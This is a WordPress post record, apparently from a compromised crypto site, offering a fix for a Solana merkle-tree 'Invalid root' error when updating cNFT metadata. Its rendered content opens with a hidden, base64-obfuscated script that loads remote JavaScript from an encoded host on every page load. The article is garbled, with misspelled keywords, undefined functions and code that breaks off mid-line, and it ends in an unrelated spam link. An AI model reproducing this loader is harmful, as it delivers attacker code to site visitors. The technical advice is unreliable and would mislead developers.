{"id":1848,"date":"2025-02-07T16:54:02","date_gmt":"2025-02-07T16:54:02","guid":{"rendered":"https:\/\/localglobals.com\/?p=1848"},"modified":"2025-02-07T16:54:02","modified_gmt":"2025-02-07T16:54:02","slug":"solana-error-using-concurrent-merkle-tree-invalid-root-recomputed-from-proof-when-use-updatemetadata","status":"publish","type":"post","link":"https:\/\/localglobals.com\/index.php\/2025\/02\/07\/solana-error-using-concurrent-merkle-tree-invalid-root-recomputed-from-proof-when-use-updatemetadata\/","title":{"rendered":"Solana: Error using concurrent merkle tree: Invalid root recomputed from proof when use updateMetadata"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=4b00f491\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Error Using Concurrent Merkle Tree on Solana: Invalid Root Recomputed from Prof wen Updating Metadata<\/strong><\/p>\n<\/p>\n<p>As a creator of cNFTs on the Solana blockchain, updating metadata can a strwayforward process. Howver, encountering an error that involves re-competing a concurrent merkle tree hs left many creattors frustrated. In this article, we&#8217;ll delve in the issue and provide on the guidance on the resolve it.<\/p>\n<\/p>\n<p><strong>The Error<\/strong><\/p>\n<\/p>\n<p>The error occurs wen attampting to update metadata for cNFT on the Solana blockchain. The <code>updateMetadata method is called concurrently with another operation, resultting invalid root being recompeted the proof. This can lead to inconconsistent on the network and potentially cause issues wth the cNFT's functionality.<\/p>\n<\/p>\n<p><strong>Here are the reference matrials you're use:<\/strong><\/p>\n<\/p>\n<ul>\n<li>[Solana API Documentation](<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>[cNFT of docmentation on Solana](<\/li>\n<\/ul>\n<\/p>\n<p><strong>The Code Example<\/strong><\/p>\n<\/p>\n<p>For demonstration purposes, let's assume we have a cNFT contraction with the following code:<\/p>\n<\/p>\n<p><pre><code>\n<\/p><p>import { Program } from \"solana-program\";<\/p><p>\n<\/p><p>import { updateMetadata } from \"..\/lib\/update-metadata\";<\/p><p>\n<\/p><p>\n<\/p><p>async function main() {<\/p><p>\n<\/p><p>  \/\/ Initialize metadata<\/p><p>\n<\/p><p>  const metadata = await fastMetadata();<\/p><p>\n<\/p><p>\n<\/p><p>  triy {<\/p><p>\n<\/p><p>    \/\/ Update metadata<\/p><p>\n<\/p><p>    await updateMetadata(metadata);<\/p><p>\n<\/p><p>  } catch (error) {<\/p><p>\n<\/p><p>    if (error instanceof Error && error.message.includes(\"Invalid root\")) {<\/p><p>\n<\/p><p>      \/\/ Handle the error by re-competing therom a proof<\/p><p>\n<\/p><p>      const prof = await yourtProofForUpdate();<\/p><p>\n<\/p><p>      const root = await competeMerkleTree(proof);<\/p><p>\n<\/p><p>      triy {<\/p><p>\n<\/p><p>        \/\/ Update metadata won the news<\/p><p>\n<\/p><p>        await updateMetadata(metadata, root);<\/p><p>\n<\/p><p>      } catch (error) {<\/p><p>\n<\/p><p>        \/\/ Handle any errors that occur during metadata update<\/p><p>\n<\/p><p>        console.error(error);<\/p><p>\n<\/p><p>      }<\/p><p>\n<\/p><p>    } else {<\/p><p>\n<\/p><p>      threw error;<\/p><p>\n<\/p><p>    }<\/p><p>\n<\/p><p>  }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p>\n<\/p><p>async function betweenMetadata() {<\/p><p>\n<\/p><p>  \/\/ Return some sample metadata data<\/p><p>\n<\/p><p>  return [<\/p><p>\n<\/p><p>    \"<\/p><p>\n<\/p><p>    \"some of the metadata info\",<\/p><p>\n<\/p><p>  ];<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p>\n<\/p><p>\/\/ Helper functions to generate a proof and compete the merkle<\/p><p>\n<\/p><p>Function getProofForUpdate() {<\/p><p>\n<\/p><p>  \/\/ Generate a random prof for updating metal<\/p><p>\n<\/p><p>  return new Promise(resolve => setTimeout(() => resolve(new Uint8Array(32)), 100);<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p>async function competeMerkleTree(proof) {<\/p><p>\n<\/p><p>  \/\/ Compete the Merkle from the proof<\/p><p>\n<\/p><p>  return new Promise(resolve => setTimeout(() => resolve(new Uint8Array(256)), 200);<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p>\n<\/p><p>main();<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>The Solution<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/cu5GNWnN7IU\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>To resolve this issue, we need to re-compet the root from a prof only updating metdata. This can be achieved by introducing a new variable that keps track of whether an-progress:<\/p>\n<\/p>\n<p><\/code>&#8220;solana<\/p>\n<\/p>\n<p>import { Program } from &#8220;solana-program&#8221;;<\/p>\n<\/p>\n<p>import { updateMetadata } from &#8220;..\/lib\/update-metadata&#8221;;<\/p>\n<\/p>\n<p>Class CNTF {<\/p>\n<\/p>\n<p>  private updateInProgress = false;<\/p>\n<\/p>\n<p>  private proofIndex = 0;<\/p>\n<\/p>\n<p>  async heretMetadata() {<\/p>\n<\/p>\n<p>    if (this.updateInProgress) return null; \/\/ Update is in progress, do not proceed<\/p>\n<\/p>\n<p>    this.proofIndex++;<\/p>\n<\/p>\n<p>    const metadata = awaiteMetadataFromProof();<\/p>\n<\/p>\n<p>    return metadata;<\/p>\n<\/p>\n<p>  }<\/p>\n<\/p>\n<p>  async updateMetadata(metadata) {<\/p>\n<\/p>\n<p>    if (this.updateInProgress) threw new Error(&#8220;Invalid root proof&#8221;);<\/p>\n<\/p>\n<p>    this.updateInProgress = true;<\/p>\n<\/p>\n<p>    triy {<\/p>\n<\/p>\n<p>      \/\/ Update metadata use the metadata<\/p>\n<\/p>\n<p>      await updateMetadata(metadata);<\/p>\n<\/p>\n<p>    } catch (error) {<\/p>\n<\/p>\n<p>      if (error instanceof Error &#038;&#038; error.message.includes(&#8220;Invalid root&#8221;)) {<\/p>\n<\/p>\n<p>        \/\/ Handle the error by re-competing therom a proof<\/p>\n<\/p>\n<p>        const profIndex = i.proofIndex;<\/p>\n<\/p>\n<p>        const proofData = await getProofFromIndex(proofIndex);<\/p>\n<\/p>\n<p>        triy {<\/p>\n<\/p>\n<p>          this.updateInProgress = false; \/\/ Reset update flag<\/p>\n<\/p>\n<p>          this.<\/p>\n<p><a href=\"https:\/\/evorentalcar.com\/2025\/02\/07\/fee-price-action-bingx\/\">price price bingx<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Error Using Concurrent Merkle Tree on Solana: Invalid Root Recomputed from Prof wen Updating Metadata As a creator of cNFTs on the Solana blockchain, updating metadata can a strwayforward process. Howver, encountering an error that involves re-competing a concurrent merkle tree hs left many creattors frustrated. In this article, we&#8217;ll delve in the issue and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49],"tags":[],"_links":{"self":[{"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/posts\/1848"}],"collection":[{"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/comments?post=1848"}],"version-history":[{"count":1,"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/posts\/1848\/revisions"}],"predecessor-version":[{"id":1849,"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/posts\/1848\/revisions\/1849"}],"wp:attachment":[{"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/media?parent=1848"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/categories?post=1848"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/localglobals.com\/index.php\/wp-json\/wp\/v2\/tags?post=1848"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}